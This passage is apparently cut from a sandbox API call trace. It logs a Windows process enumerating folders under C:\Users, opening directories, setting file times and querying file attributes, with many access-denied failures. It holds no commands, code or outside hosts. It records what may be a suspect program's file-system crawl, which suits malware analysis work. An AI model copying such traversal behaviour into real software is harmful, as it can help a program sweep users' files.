(normalized: "c:\\users\\default\\sendto"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.039] CreateFileW (lpFileName="C:\\Users\\Default\\SendTo" (normalized: "c:\\users\\default\\sendto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0093.039] GetLastError () returned 0x5 [0093.039] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0093.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.040] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\SendTo\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.040] GetLastError () returned 0x5 [0093.040] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\SendTo\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.040] GetLastError () returned 0x5 [0093.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.041] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="")) returned 1 [0093.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.042] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Start Menu" (normalized: "c:\\users\\default\\start menu"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.042] CreateFileW (lpFileName="C:\\Users\\Default\\Start Menu" (normalized: "c:\\users\\default\\start menu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0093.042] GetLastError () returned 0x5 [0093.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0093.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.043] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.043] GetLastError () returned 0x5 [0093.043] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Start Menu\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.043] GetLastError () returned 0x5 [0093.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.044] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0093.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.044] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Templates" (normalized: "c:\\users\\default\\templates"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.045] CreateFileW (lpFileName="C:\\Users\\Default\\Templates" (normalized: "c:\\users\\default\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0093.045] GetLastError () returned 0x5 [0093.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0093.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.046] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.046] GetLastError () returned 0x5 [0093.046] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0093.046] GetLastError () returned 0x5 [0093.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.047] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0093.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.047] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Videos" (normalized: "c:\\users\\default\\videos"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.047] CreateFileW (lpFileName="C:\\Users\\Default\\Videos" (normalized: "c:\\users\\default\\videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0093.048] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0093.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.048] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0093.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.048] NtClose (Handle=0x164) returned 0x0 [0093.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0093.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.050] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0093.050] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.050] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9998 [0093.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fde90 [0093.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0093.052] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0093.052] GetLastError () returned 0x12 [0093.052] FindFirstFileExW (in: lpFileName="C:\\Users\\Default\\Videos\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9200 [0093.052] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0093.052] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.052] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.052] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0093.052] GetLastError () returned 0x12 [0093.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.052] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0093.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.053] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0093.053] GetLastError () returned 0x12 [0093.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0093.053] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0093.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0093.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0093.054] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="")) returned 1 [0093.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0093.054] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default User" (normalized: "c:\\users\\default user"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0093.055] CreateFileW (lpFileName="C:\\Users\\Default User" (normalized: "c:\\users\\default user"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0093.055] GetLastError () returned 0x5 [0093.055] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0093.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0093.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0093.056] FindFirstFileExW (in: lpFileName="C:\\Users\\Default User\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0xffffffff [0093.056] GetLastError () returned 0x5 [0093.056] FindFirstFileExW (in: lpFileName="C:\\Users\\Default User\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0xffffffff [0093.056] GetLastError () returned 0x5 [0093.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0093.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0093.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0093.057] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.057] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0093.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0093.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public" (normalized: "c:\\users\\public"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0093.057] CreateFileW (lpFileName="C:\\Users\\Public" (normalized: "c:\\users\\public"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0093.058] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0093.058] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0093.058] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0093.058] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0093.058] NtClose (Handle=0x15c) returned 0x0 [0093.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0093.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0093.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0093.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0093.060] FindFirstFileExW (in: lpFileName="C:\\Users\\Public\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0093.060] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.060] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0093.060] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0093.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f99b8 [0093.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0093.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0093.062] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="")) returned 1 [0093.062] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="")) returned 1 [0093.062] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="")) returned 1 [0093.062] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, 